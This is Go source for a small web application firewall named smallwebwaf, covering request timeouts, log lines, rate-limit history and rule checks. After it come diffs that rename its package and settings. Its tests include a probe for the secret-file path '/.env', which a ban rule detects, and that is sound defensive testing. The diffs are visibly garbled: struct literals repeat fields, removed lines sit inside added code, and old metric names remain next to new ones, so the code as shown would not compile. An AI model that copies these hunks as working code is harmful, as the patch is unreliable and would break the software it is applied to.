 // refuse records r, unless an earlier refusal was, and ends the request
 // to the app, if one was made: smallwebwaf reads the body of a request
 // it answers itself too.
 func (rq *request) refuse(r refusal) {
 	rq.refused.CompareAndSwap(nil, &r)
 	if rq.cancel != nil {
 		rq.cancel()
 	}
 }
 // finish ends the request's timeouts, counts it in the metrics and writes
 // its log line.
 func (rq *request) finish() {
 	rq.stopTimers()
 	refused := rq.refused.Load()
 	if refused == nil {
 		rq.stopReadingBody(rq.clientRequestDeadline())
 	}
 	line := &rq.line
 	line.Status = rq.out.status
 	line.ResponseBytes = rq.out.bytes
 	header := rq.out.Header()
 	line.ResponseContentType = header.Get("Content-Type")
 	line.CacheControl = header.Get("Cache-Control")
 	line.Location = header.Get("Location")
 	line.RequestBytes = rq.requestBytes()
 	// limit is the setting whose size or time limit the request passed.
 	var limit string
 	switch {
 	case refused != nil:
 		line.Action = refused.action
 		limit = refused.limit
 	case errors.Is(rq.out.err, os.ErrDeadlineExceeded):
 		// The client took longer than SWWAF_CLIENT_RESPONSE_TIMEOUT to
 		// take the response.
 		line.Action = requestlog.ActionTimedOut
 		limit = "SWWAF_CLIENT_RESPONSE_TIMEOUT"
 	case !rq.complete && (rq.out.err != nil || rq.in.Context().Err() != nil):
 		line.Aborted = true
 	}
 	now := time.Now()
 	duration := now.Sub(rq.start)
 	line.DurationTotal = requestlog.Milliseconds(duration)
 	line.DurationChecks = timing(rq.start, rq.checked)
 	var upstreamDuration time.Duration
 	if !rq.upstreamStart.IsZero() {
 		upstreamDuration = now.Sub(rq.upstreamStart)
 		line.DurationUpstreamTotal = new(requestlog.Milliseconds(upstreamDuration))
 		rq.mu.Lock()
 		line.DurationUpstreamConnect = timing(rq.upstreamStart, rq.connected)
 		line.DurationUpstreamFirstByte = timing(rq.upstreamStart, rq.answerStarted)
 		rq.mu.Unlock()
 	}
 	// Counted before the log line is written, so that the metrics count
 	// every request whose line is out.
 	rq.h.metrics.RequestEnded(line, limit, duration, upstreamDuration)
 	err := requestlog.Write(rq.h.requestLog, line)
 	if err != nil {
 		rq.h.processLog.Error("writing the request log failed", "error", err.Error())
 	}
 }
 // timing is the time from start to end in milliseconds, for one of the
 // log line's timings, or nil when end is zero: what it times never
 // happened.
 func timing(start, end time.Time) *float64 {
 	if end.IsZero() {
 		return nil
 	}
 	return new(requestlog.Milliseconds(end.Sub(start)))
 }
 // addToHistory adds the request, which has ended, to its client's
 // history, and then the lookup's answer about the client, as
 // answerAtTheEnd gives it, to that history and to the notes of the bans
 // on its netblock: an answer may have come before either was there, and
 // one from GeoJS that comes later is added when it comes.
 func (rq *request) addToHistory() {
 	forwarded := !rq.upstreamStart.IsZero()
 	rq.h.limiter.AddToHistory(clientGroup(rq.client), rq.h.now(), ratelimit.Request{
 		Forwarded:     forwarded,
 		Refused:       !forwarded && rq.refused.Load() != nil,
 		Status:        rq.out.status,
 		RequestBytes:  rq.requestBytes(),
 		ResponseBytes: rq.out.bytes,
 		BrokeLimit:    rq.line.Offence == requestlog.OffenceLimit,
 	})
 	answer, found := rq.answerAtTheEnd()
 	if found {
 		rq.h.addLookup(answer)
 	}
 }
 // countAnomalies counts the request, which has ended, and its bytes, as
 // countedBytes gives them, for the anomaly thresholds, whatever was done
 // with it: a request refused, one from a client in SWWAF_ALLOW_NETS or
 // SWWAF_RATE_LIMIT_EXEMPT_NETS, and one for a path in
 // SWWAF_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its
 // client's AS number when answerAtTheEnd gives one. With every anomaly
 // threshold off, the default, it does nothing.
 func (rq *request) countAnomalies() {
 	if !anomalyThresholdsSet(rq.h.config) {
 		return
 	}
 	answer, _ := rq.answerAtTheEnd()
 	rq.h.anomalies.Count(rq.h.now(), anomaly.Request{
 		Client:      rq.client,
 		ClientGroup: clientGroup(rq.client),
 		ASN:         answer.ASN,
 		ASName:      answer.ASName,
 		Country:     answer.Country,
 		Bytes:       rq.countedBytes(),
 	})
 }
 // anomalyThresholdsSet reports whether any anomaly threshold is set.
 func anomalyThresholdsSet(cfg *config.Config) bool {
 	off := anomaly.Thresholds{}
 	return cfg.AnomalyClient != off || cfg.AnomalyNet != off || cfg.AnomalyASN != off ||
 		cfg.AnomalyTotal != off || cfg.AnomalyWatch != off
 }
 // answerAtTheEnd returns, for a client that was looked up, the lookup's
 // answer about it as the request ends, and whether there is one: the
 // lookup database's, which was there at once, or the one GeoJS has given
 // by then, which a request does not wait for unless a setting needs it.
 func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
 	if !rq.lookedUp {
 		return lookup.Answer{}, false
 	}
 	if rq.h.config.LookupSource == "file" {
 		return rq.lookupAnswer, true
 	}
 	return rq.h.geojs.Kept(clientGroup(rq.client))
 }
 // requestBytes is how many bytes of the request's body have been read.
 func (rq *request) requestBytes() int64 {
 	if rq.body == nil {
 		return 0
 	}
 	return rq.body.bytes.Load()
 }
 // clientRequestDeadline is when the client must have sent its whole
 // request, or zero when SWWAF_CLIENT_REQUEST_TIMEOUT is off.
 func (rq *request) clientRequestDeadline() time.Time {
 	timeout := rq.h.config.ClientRequestTimeout
 	if timeout == 0 {
 		return time.Time{}
 	}
 	return rq.start.Add(timeout)
 }
 // stopReadingBody ends, at deadline, the reading of a client body that has
 // not arrived whole: Go's server then reads no more of it, and closes the
 // connection after the answer.
 func (rq *request) stopReadingBody(deadline time.Time) {
 	if rq.body == nil || rq.body.received.Load() {
 		return
 	}
 	_ = rq.rc.SetReadDeadline(deadline)
 }
 // startRequestTimers starts the timeouts that run while the request goes
 // to the app: SWWAF_CLIENT_REQUEST_TIMEOUT until the client has sent its
 // whole body, and SWWAF_UPSTREAM_REQUEST_TIMEOUT until the app has been
 // sent the whole request.
 func (rq *request) startRequestTimers() {
 	rq.mu.Lock()
 	defer rq.mu.Unlock()
 	if rq.body != nil && rq.h.config.ClientRequestTimeout > 0 {
 		rq.clientRequestTimer = time.AfterFunc(
 			time.Until(rq.clientRequestDeadline()), func() {
 				rq.requestTimedOut("SWWAF_CLIENT_REQUEST_TIMEOUT")
 			})
 	}
 	timeout := rq.h.config.UpstreamRequestTimeout
 	if timeout > 0 {
 		rq.upstreamRequestTimer = time.AfterFunc(timeout, func() {
 			rq.requestTimedOut("SWWAF_UPSTREAM_REQUEST_TIMEOUT")
 		})
 	}
 }
 // requestTimedOut is called when limit, SWWAF_CLIENT_REQUEST_TIMEOUT or
 // SWWAF_UPSTREAM_REQUEST_TIMEOUT, runs out while the request is still on
 // its way to the app. The answer names the side smallwebwaf was waiting
 // on at that moment: 408 when it was waiting for the client to send more
 // of its body, 504 when it was waiting for the app to be reached or to
 // take what it had.
 func (rq *request) requestTimedOut(limit string) {
 	rq.mu.Lock()
 	defer rq.mu.Unlock()
 	if rq.timersStopped {
 		return
 	}
 	if rq.body == nil || !rq.body.waiting.Load() {
 		rq.refuse(refusal{
 			status: http.StatusGatewayTimeout,
 			action: requestlog.ActionTimedOut,
 			limit:  limit,
 		})
 		return
 	}
 	rq.refuse(refusal{
 		status: http.StatusRequestTimeout,
 		action: requestlog.ActionTimedOut,
 		limit:  limit,
 	})
 	// The transport gives up on the app only once its Read of the
 	// client's body returns, so that Read is ended now. The lock keeps
 	// this from reaching the connection after the request is handled.
 	_ = rq.rc.SetReadDeadline(time.Now())
 }
 // bodyReceived is called once the client has sent its whole body.
 func (rq *request) bodyReceived() {
 	rq.mu.Lock()
 	defer rq.mu.Unlock()
 	stopTimer(rq.clientRequestTimer)
 }
 // gotConn is called once there is a connection to the app, a new one or
 // one kept open from an earlier request.
 func (rq *request) gotConn(httptrace.GotConnInfo) {
 	rq.mu.Lock()
 	defer rq.mu.Unlock()
 	rq.connected = time.Now()
 }
 // gotFirstResponseByte is called once the first byte of the app's answer
 // has arrived.
 func (rq *request) gotFirstResponseByte() {
 	rq.mu.Lock()
 	defer rq.mu.Unlock()
 	rq.answerStarted = time.Now()
 }
 // wroteRequest is called once the app has been sent the whole request:
 // the request timeouts end and SWWAF_UPSTREAM_RESPONSE_TIMEOUT starts.
 func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
 	if info.Err != nil {
 		return // the transport gives up, or tries again
 	}
 	rq.mu.Lock()
 	defer rq.mu.Unlock()
 	if rq.timersStopped {
 		return
 	}
 	stopTimer(rq.clientRequestTimer)
 	stopTimer(rq.upstreamRequestTimer)
 	rq.requestSent = time.Now()
 	timeout := rq.h.config.UpstreamResponseTimeout
 	if timeout > 0 {
 		rq.upstreamResponseTimer = time.AfterFunc(timeout, rq.responseTimedOut)
 	}
 }
 // responseTimedOut is called when SWWAF_UPSTREAM_RESPONSE_TIMEOUT runs out
 // before the app has sent its whole answer.
 func (rq *request) responseTimedOut() {
 	rq.mu.Lock()
 	defer rq.mu.Unlock()
 	if !rq.timersStopped {
 		rq.refuse(refusal{
 			status: http.StatusGatewayTimeout,
 			action: requestlog.ActionTimedOut,
 			limit:  "SWWAF_UPSTREAM_RESPONSE_TIMEOUT",
 		})
 	}
 }
 // responseReceived is called once the app has sent its whole answer.
 func (rq *request) responseReceived() {
 	rq.complete = true
 	rq.stopTimers()
 }
 // startClientResponseTimeout sets SWWAF_CLIENT_RESPONSE_TIMEOUT on the
 // connection to the client: the response must reach the client within it
 // of the end of the request, or of now if the app answers before it has
 // the whole request.
 func (rq *request) startClientResponseTimeout() {
 	timeout := rq.h.config.ClientResponseTimeout
 	if timeout == 0 {
 		return
 	}
 	from := rq.sentAt()
 	if from.IsZero() {
 		from = time.Now()
 	}
 	_ = rq.rc.SetWriteDeadline(from.Add(timeout))
 }
 // sentAt is when the app had been sent the whole request, or zero.
 func (rq *request) sentAt() time.Time {
 	rq.mu.Lock()
 	defer rq.mu.Unlock()
 	return rq.requestSent
 }
 // stopTimers stops the request's timeouts and keeps any from starting
 // later: the app's answer is complete, the connection upgraded, or the
 // request handled.
 func (rq *request) stopTimers() {
 	rq.mu.Lock()
 	defer rq.mu.Unlock()
 	rq.timersStopped = true
 	stopTimer(rq.clientRequestTimer)
 	stopTimer(rq.upstreamRequestTimer)
 	stopTimer(rq.upstreamResponseTimer)
 }
 // stopTimer stops t, which is nil when its timeout is off.
 func stopTimer(t *time.Timer) {
 	if t != nil {
 		t.Stop()
 	}
 }
@@ -1,7 +1,8 @@
-package discriminator_test
+package proxy_test
 import (
 	"io"
 	"maps"
 	"math"
 	"net/http"
 	"reflect"
@@ -10,7 +11,7 @@ import (
 	"testing"
 	"time"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
@@ -18,8 +19,8 @@ import (
 const (
 	// requestIDHeader carries the request's id.
 	requestIDHeader = "X-Request-ID"
-	// instance is the SWW_INSTANCE_NAME a test sets.
+	// instance is the SWWAF_INSTANCE_NAME a test sets.
-	instance = "fsn1app1/blog"
+	instance = "fsn1app1/gitea"
 	// ipv6Client is a client on IPv6, and ipv6Group the netblock the rate
 	// limits count it as.
 	ipv6Client = "2001:db8::7"
@@ -41,6 +42,9 @@ func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
 			return
 		}
 		w.Header().Set("Content-Type", "text/html")
 		w.Header().Set("Cache-Control", "no-store")
 		w.Header().Set("Location", "/elsewhere")
 		w.WriteHeader(http.StatusFound)
 		_, _ = io.WriteString(w, "moved")
 	})
@@ -66,7 +70,7 @@ func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
 	// A request's log line can come after its answer: each is waited for
 	// before the next request, so that the lines are in order.
-	full := out.endedLines(t, 1)[0]
+	full := out.requestLines(t, 1)[0]
 	// This one comes from 127.0.0.1, which the rate limits do not count,
 	// with a body of 4 bytes whose length it does not announce, so that its
@@ -77,7 +81,7 @@ func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
 		"Transfer-Encoding: chunked\r\n\r\n4\r\nbody\r\n0\r\n\r\n")
 	wantStatus(t, readResponse(t, conn), http.StatusNoContent)
-	bare := out.endedLines(t, 2)[1]
+	bare := out.requestLines(t, 2)[1]
 	wantFullLine(t, full)
 	wantBareLine(t, bare)
@@ -104,23 +108,24 @@ func wantFullLine(t *testing.T, line logLine) {
 	headers := map[string]string{"accept": "text/html", "x-custom": "one, two"}
 	want := withTimings(line, requestlog.Line{
-		Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
+		Type: requestType, Time: line.Time, Instance: instance,
 		Time: line.Time, Instance: instance,
 		ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure,
 		Host: appHost, Path: "/full", Protocol: protocol,
 		Status: http.StatusFound, RequestBytes: 3, ResponseBytes: 5,
-		RequestID: line.RequestID, PeerIP: localhost,
+		RequestID: "from-traefik", PeerIP: localhost,
 		ForwardedFor: "198.51.100.7, " + ipv6Client, ClientGroup: ipv6Group,
 		ContentType: "application/x-www-form-urlencoded", ContentLength: 3,
 		RequestHeaders: headers, HasAuthorization: true, HasCookie: true,
 		ResponseContentType: "text/html", UpstreamStatus: http.StatusFound,
 		CacheControl: "no-store", Location: "/elsewhere",
 		Action: requestlog.ActionForward,
 		// Its 3 bytes in and 5 out, each way counted by default.
 		Counts: ratelimit.Counts{
 			Minute: 1, Hour: 1, Day: 1, MinuteBytes: 8, HourBytes: 8, DayBytes: 8,
 		},
 	})
-	if !reflect.DeepEqual(line.Line, want) || line.RequestID == "from-traefik" {
+	if !reflect.DeepEqual(line.Line, want) {
-		t.Errorf("log line\n%+v\nwant\n%+v, with a new request id", line.Line, want)
+		t.Errorf("log line\n%+v\nwant\n%+v", line.Line, want)
 	}
 }
@@ -130,13 +135,12 @@ func wantBareLine(t *testing.T, line logLine) {
 	t.Helper()
 	want := withTimings(line, requestlog.Line{
-		Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
+		Type: requestType, Time: line.Time, Instance: instance,
 		Time: line.Time, Instance: instance,
 		ClientIP: localhost, Method: http.MethodPost, Scheme: plain,
 		Host: appHost, Path: "/bare", Protocol: protocol,
 		Status: http.StatusNoContent, RequestBytes: 4, RequestID: line.RequestID,
 		PeerIP: localhost, ClientGroup: localhost + "/32",
-		Action: requestlog.ActionForward,
+		UpstreamStatus: http.StatusNoContent, Action: requestlog.ActionForward,
 	})
 	if !reflect.DeepEqual(line.Line, want) || line.RequestID == "" {
 		t.Errorf("log line\n%+v\nwant\n%+v, with a request id", line.Line, want)
@@ -144,7 +148,8 @@ func wantBareLine(t *testing.T, line logLine) {
 	for _, name := range []string{
 		"forwarded_for", "content_type", "content_length", "request_headers",
-		"has_authorization", "has_cookie", "response_content_type", "counts",
+		"has_authorization", "has_cookie", "websocket", "response_content_type",
 		"cache_control", "location", "counts",
 	} {
 		_, present := line.fields[name]
 		if present {
@@ -157,6 +162,8 @@ func wantBareLine(t *testing.T, line logLine) {
 func withTimings(line logLine, want requestlog.Line) requestlog.Line {
 	want.DurationTotal = line.DurationTotal
 	want.DurationChecks = line.DurationChecks
 	want.DurationUpstreamConnect = line.DurationUpstreamConnect
 	want.DurationUpstreamFirstByte = line.DurationUpstreamFirstByte
 	want.DurationUpstreamTotal = line.DurationUpstreamTotal
 	return want
@@ -181,7 +188,7 @@ func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
 			req.Header.Set(tc.header, "secret")
 			wantStatus(t, do(t, req), http.StatusOK)
-			line := out.endedLine(t)
+			line := out.requestLine(t)
 			_, otherPresent := line.fields[tc.other]
 			if line.fields[tc.field] != true || otherPresent {
@@ -192,20 +199,81 @@ func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
 	}
 }
 func TestRequestIDAndSchemeComeOnlyFromATrustedProxy(t *testing.T) {
 	t.Parallel()
 	const sentID = "from-traefik"
 	sent := http.Header{requestIDHeader: {sentID}, forwardedProto: {secure}}
 	trusted := map[string]string{trustedProxies: trustLocalhost}
 	for _, tc := range []struct {
 		name   string
 		env    map[string]string
 		header http.Header
 		// wantID is the request id logged, "" for a new one.
 		wantID, wantScheme string
 	}{
 		{"a trusted proxy's are kept", trusted, sent, sentID, secure},
 		{"without them, the id is new and the scheme http", trusted, nil, "", plain},
 		{"another peer's are replaced", nil, sent, "", plain},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			received := make(chan string, 2)
 			app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
 				received <- r.Header.Get(requestIDHeader)
 			})
 			addr, out := startProxy(t, app.URL, tc.env)
 			// Two requests, so that two new ids can be told apart.
 			ids := make([]string, 0, 2)
 			for i := range 2 {
 				req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 				maps.Copy(req.Header, tc.header)
 				wantStatus(t, do(t, req), http.StatusOK)
 				line := out.requestLines(t, i+1)[i]
 				ids = append(ids, line.RequestID)
 				got := <-received
 				if line.RequestID != got || line.Scheme != tc.wantScheme {
 					t.Errorf("log line has request_id %q and scheme %q, and the "+
 						"app received id %q; want the same id and scheme %q",
 						line.RequestID, line.Scheme, got, tc.wantScheme)
 				}
 			}
 			switch {
 			case tc.wantID != "" && (ids[0] != tc.wantID || ids[1] != tc.wantID):
 				t.Errorf("request ids %q, want %q", ids, tc.wantID)
 			case tc.wantID == "" && (slices.Contains(ids, sentID) ||
 				slices.Contains(ids, "") || ids[0] == ids[1]):
 				t.Errorf("request ids %q, want two new ones", ids)
 			}
 		})
 	}
 }
 func TestTimingsAreInOrder(t *testing.T) {
 	t.Parallel()
-	const denied = "192.0.2.50" // in SWW_DENY_NETS
+	const denied = "192.0.2.50" // in SWWAF_DENY_NETS
 	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
-		// The pause sets the times apart; a hold-up of the test only lengthens
+		// The pauses set the times apart; a hold-up of the test only
-		// it.
+		// lengthens them.
 		time.Sleep(time.Millisecond)
 		w.WriteHeader(http.StatusOK)
 		_ = http.NewResponseController(w).Flush()
 		time.Sleep(time.Millisecond)
 		_, _ = io.WriteString(w, "done")
 	})
-
+	addr, out := startProxy(t, app.URL, map[string]string{
 	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, map[string]string{
 		trustedProxies: trustLocalhost,
 		denyNets:       denied,
 	})
@@ -213,19 +281,20 @@ func TestTimingsAreInOrder(t *testing.T) {
 	// Each log line is waited for before the next request, so that the
 	// lines are in order.
 	wantStatus(t, get(t, addr, "/"), http.StatusOK)
-	forwarded := out.endedLines(t, 1)[0]
+	forwarded := out.requestLines(t, 1)[0]
 	req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 	req.Header.Set(forwardedFor, denied)
 	wantStatus(t, do(t, req), http.StatusForbidden)
-	refused := out.endedLines(t, 2)[1]
+	refused := out.requestLines(t, 2)[1]
-	wantStatus(t, get(t, server.Addr, discriminator.HealthPath), http.StatusOK)
+	wantStatus(t, get(t, addr, proxy.HealthPath), http.StatusOK)
-	health := out.endedLines(t, 3)[2]
+	health := out.requestLines(t, 3)[2]
 	// A request passed to the app has every timing; one refused, none of
 	// the app's; the health check, which runs no check, only the total.
 	wantTimings(t, forwarded, "duration_total", "duration_checks",
 		"duration_upstream_connect", "duration_upstream_first_byte",
 		"duration_upstream_total")
 	wantTimings(t, refused, "duration_total", "duration_checks")
 	wantTimings(t, health, "duration_total")
@@ -238,12 +307,17 @@ func TestTimingsAreInOrder(t *testing.T) {
 	// exact.
 	total := microseconds(forwarded.DurationTotal)
 	checks := microseconds(*forwarded.DurationChecks)
 	connect := microseconds(*forwarded.DurationUpstreamConnect)
 	firstByte := microseconds(*forwarded.DurationUpstreamFirstByte)
 	upstream := microseconds(*forwarded.DurationUpstreamTotal)
-	// The checks end before the request is handed to the app.
+	// The checks end before the request is handed to the app, and the
-	if checks+upstream > total {
+	// connection comes before the answer, which the app ends after a
-		t.Errorf("timings in microseconds: total %d, checks %d, upstream total %d",
+	// pause.
-			total, checks, upstream)
+	if checks+upstream > total || connect >= firstByte || firstByte >= upstream {
 		t.Errorf("timings in microseconds: total %d, checks %d, connect %d, "+
 			"first byte %d, upstream total %d", total, checks, connect, firstByte,
 			upstream)
 	}
 	if *refused.DurationChecks > refused.DurationTotal {
@@ -276,3 +350,22 @@ func wantTimings(t *testing.T, line logLine, want ...string) {
 func microseconds(milliseconds float64) int64 {
 	return int64(math.Round(milliseconds * 1000))
 }
 func TestLogsAnUpgradedConnection(t *testing.T) {
 	t.Parallel()
 	app := startApp(t, echoAfterUpgrade)
 	addr, out := startProxy(t, app.URL, nil)
 	conn := dial(t, addr)
 	send(t, conn, "GET /socket HTTP/1.1\r\nHost: app\r\n"+
 		"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
 	wantStatus(t, readResponse(t, conn), http.StatusSwitchingProtocols)
 	_ = conn.Close()
 	line := out.requestLine(t)
 	if line.fields["websocket"] != true {
 		t.Errorf("log line has websocket %v, want true", line.fields["websocket"])
 	}
 }
@@ -1,11 +1,10 @@
-package discriminator_test
+package proxy_test
 import (
 	"net/http"
 	"net/netip"
 	"os"
 	"path/filepath"
 	"reflect"
 	"slices"
 	"testing"
 	"time"
@@ -34,14 +33,14 @@ func TestEachRuleAction(t *testing.T) {
 	line := s.get(client, http.StatusOK, requestlog.ActionForward)
 	wantRuleIDs(t, line, "noted")
-	// A block rule refuses with 403, whatever SWW_BAN_RESPONSE is, and
+	// A block rule refuses with 403, whatever SWWAF_BAN_RESPONSE is, and
 	// bans no one.
 	line = s.request(client, "/blocked", http.StatusForbidden,
 		requestlog.ActionRuleBlocked)
 	wantRuleIDs(t, line, "noted", "blocked")
 	s.get(client, http.StatusOK, requestlog.ActionForward)
-	// A ban rule refuses with SWW_BAN_RESPONSE, and bans the client for
+	// A ban rule refuses with SWWAF_BAN_RESPONSE, and bans the client for
 	// seven days, the default.
 	line = s.request(client, "/.env", http.StatusTooManyRequests, requestlog.ActionBanned)
 	wantRuleIDs(t, line, "noted", "probe")
@@ -74,7 +73,7 @@ func TestEachRuleAction(t *testing.T) {
 	}
 	got := server.Ledger.Bans(netblock)
-	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+	if len(got) != 1 || got[0] != want {
 		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
 	}
@@ -101,7 +100,7 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
 		attackBanDuration: "1h",
 	})
-	// The first probe bans for SWW_ATTACK_BAN_DURATION.
+	// The first probe bans for SWWAF_ATTACK_BAN_DURATION.
 	line := s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned)
 	if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) {
 		t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
@@ -122,8 +121,8 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
 	t.Parallel()
 	const (
-		allowed = "192.0.2.60" // in SWW_ALLOW_NETS
+		allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
-		exempt  = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
+		exempt  = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
 	)
 	s, _, server := startWithClock(t, "", map[string]string{
@@ -133,7 +132,7 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
 		rateLimitPerMinute:  "1",
 	})
-	// A client in SWW_ALLOW_NETS is not checked.
+	// A client in SWWAF_ALLOW_NETS is not checked.
 	line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward)
 	wantRuleIDs(t, line)
@@ -185,6 +184,8 @@ func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
 func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
 	t.Parallel()
 	const scraper = "192.0.2.200"
 	s, _, _ := startWithClock(t, "", map[string]string{
 		rulesDir:     writeRules(t, testRules),
 		metricsToken: token,
@@ -194,20 +195,17 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
 	s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned)
 	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
-	metrics := s.scrape()
+	metrics := s.scrape(scraper)
 	wantMetric(t, metrics,
-		`sww_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, 1)
+		`smallwebwaf_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, 1)
 	wantMetric(t, metrics,
-		`sww_rule_matches_total{action="ban",instance="app",rule_id="probe"}`, 1)
+		`smallwebwaf_rule_matches_total{action="ban",instance="app",rule_id="probe"}`, 1)
-	wantMetric(t, metrics, `sww_rules_loaded{instance="app"}`, 2)
+	wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2)
-	wantMetric(t, metrics, `sww_requests_total{action="rule_blocked",`+
+	wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+
 		`instance="app",status_class="4xx"}`, 1)
-	wantMetric(t, metrics,
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1)
-		`sww_offences_total{instance="app",kind="rule_blocked"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0)
-	wantMetric(t, metrics, `sww_offences_total{instance="app",kind="attack"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
 	wantMetric(t, metrics, `sww_bans_made_total{cause="attack",instance="app"}`, 1)
 	wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 0)
 	wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
 }
 // writeRules writes content as a rule file into a new directory, and
@@ -0,0 +1,39 @@
 package proxy
 import (
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
 )
 // checkRules checks the request against the rules of the rule files at
 // now, notes the ids of those it matches in the log line, and returns the
 // action of the rule that refuses it, ActionRuleBlocked for a block rule
 // and ActionBanned for a ban rule, or "" when none does. A ban rule bans
 // the client's netblock for a clear sign of attack, or in observe mode
 // raises the alert for the ban it would have made.
 func (rq *request) checkRules(now time.Time) string {
 	matched := rq.h.rules.Match(rq.in)
 	for _, rule := range matched {
 		rq.line.RuleIDs = append(rq.line.RuleIDs, rule.ID)
 		rq.h.metrics.RuleMatched(rule.ID, rule.Action)
 	}
 	if len(matched) == 0 {
 		return ""
 	}
 	// Only the last rule matched can refuse the request.
 	switch last := matched[len(matched)-1]; last.Action {
 	case rules.ActionBlock:
 		return requestlog.ActionRuleBlocked
 	case rules.ActionBan:
 		rq.banForAttack(now, last)
 		return requestlog.ActionBanned
 	default:
 		return ""
 	}
 }
@@ -1,4 +1,4 @@
-package discriminator_test
+package proxy_test
 import (
 	"net/http"
@@ -17,7 +17,7 @@ const (
 	unlistedAddr = "2001:db8::2"
 )
-func TestAllowNetsSkipEveryCheck(t *testing.T) {
+func TestAllowNetsSkipEveryCheckButTheSizeLimit(t *testing.T) {
 	t.Parallel()
 	var calls atomic.Int32
@@ -26,7 +26,7 @@ func TestAllowNetsSkipEveryCheck(t *testing.T) {
 		calls.Add(1)
 	})
 	geojsURL, asked := startGeoJS(t)
-	// fromKP is in SWW_ALLOW_NETS, and in SWW_DENY_NETS too, which
+	// fromKP is in SWWAF_ALLOW_NETS, and in SWWAF_DENY_NETS too, which
 	// comes after it.
 	addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
 		trustedProxies:     trustLocalhost,
@@ -34,9 +34,10 @@ func TestAllowNetsSkipEveryCheck(t *testing.T) {
 		denyNets:           fromKP,
 		deniedCountries:    "kp",
 		rateLimitPerMinute: "1",
 		requestMaxBytes:    "1K",
 	})
-	// Neither SWW_DENY_NETS, the country lists nor the limit of one
+	// Neither SWWAF_DENY_NETS, the country lists nor the limit of one
 	// request a minute refuses the client, and its country is not looked
 	// up.
 	wantAnswers(t, addr, out, []sentRequest{
@@ -48,6 +49,14 @@ func TestAllowNetsSkipEveryCheck(t *testing.T) {
 		t.Errorf("GeoJS was asked about %v, want nothing", asked())
 	}
 	// The size limit still applies.
 	body := strings.NewReader(strings.Repeat("a", 2<<10))
 	req := newRequest(t, http.MethodPost, addr, "/", body)
 	req.Header.Set(forwardedFor, fromKP)
 	wantStatus(t, do(t, req), http.StatusRequestEntityTooLarge)
 	wantLine(t, out.requestLines(t, 3)[2],
 		http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge)
 	if calls.Load() != 2 {
 		t.Errorf("the app was called %d times, want 2", calls.Load())
 	}
@@ -73,7 +82,7 @@ func TestRequestFromAllowNetsIsNotCounted(t *testing.T) {
 	})
 }
-func TestDenyNetsRefuseBeforeTheLookup(t *testing.T) {
+func TestDenyNetsRefuseBeforeTheLookupAndTheBody(t *testing.T) {
 	t.Parallel()
 	var calls atomic.Int32
@@ -92,9 +101,13 @@ func TestDenyNetsRefuseBeforeTheLookup(t *testing.T) {
 	req.Header.Set(forwardedFor, fromDE)
 	wantStatus(t, do(t, req), http.StatusForbidden)
-	line := out.endedLine(t)
+	line := out.requestLine(t)
 	wantLine(t, line, http.StatusForbidden, requestlog.ActionDenied)
 	if line.RequestBytes != 0 {
 		t.Errorf("log line has request_bytes %d, want 0", line.RequestBytes)
 	}
 	if len(asked()) != 0 {
 		t.Errorf("GeoJS was asked about %v, want nothing", asked())
 	}
@@ -131,7 +144,6 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
 	geojsURL, _ := startGeoJS(t)
 	addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
 		trustedProxies:      trustLocalhost,
 		lookupTimeout:       "1h",
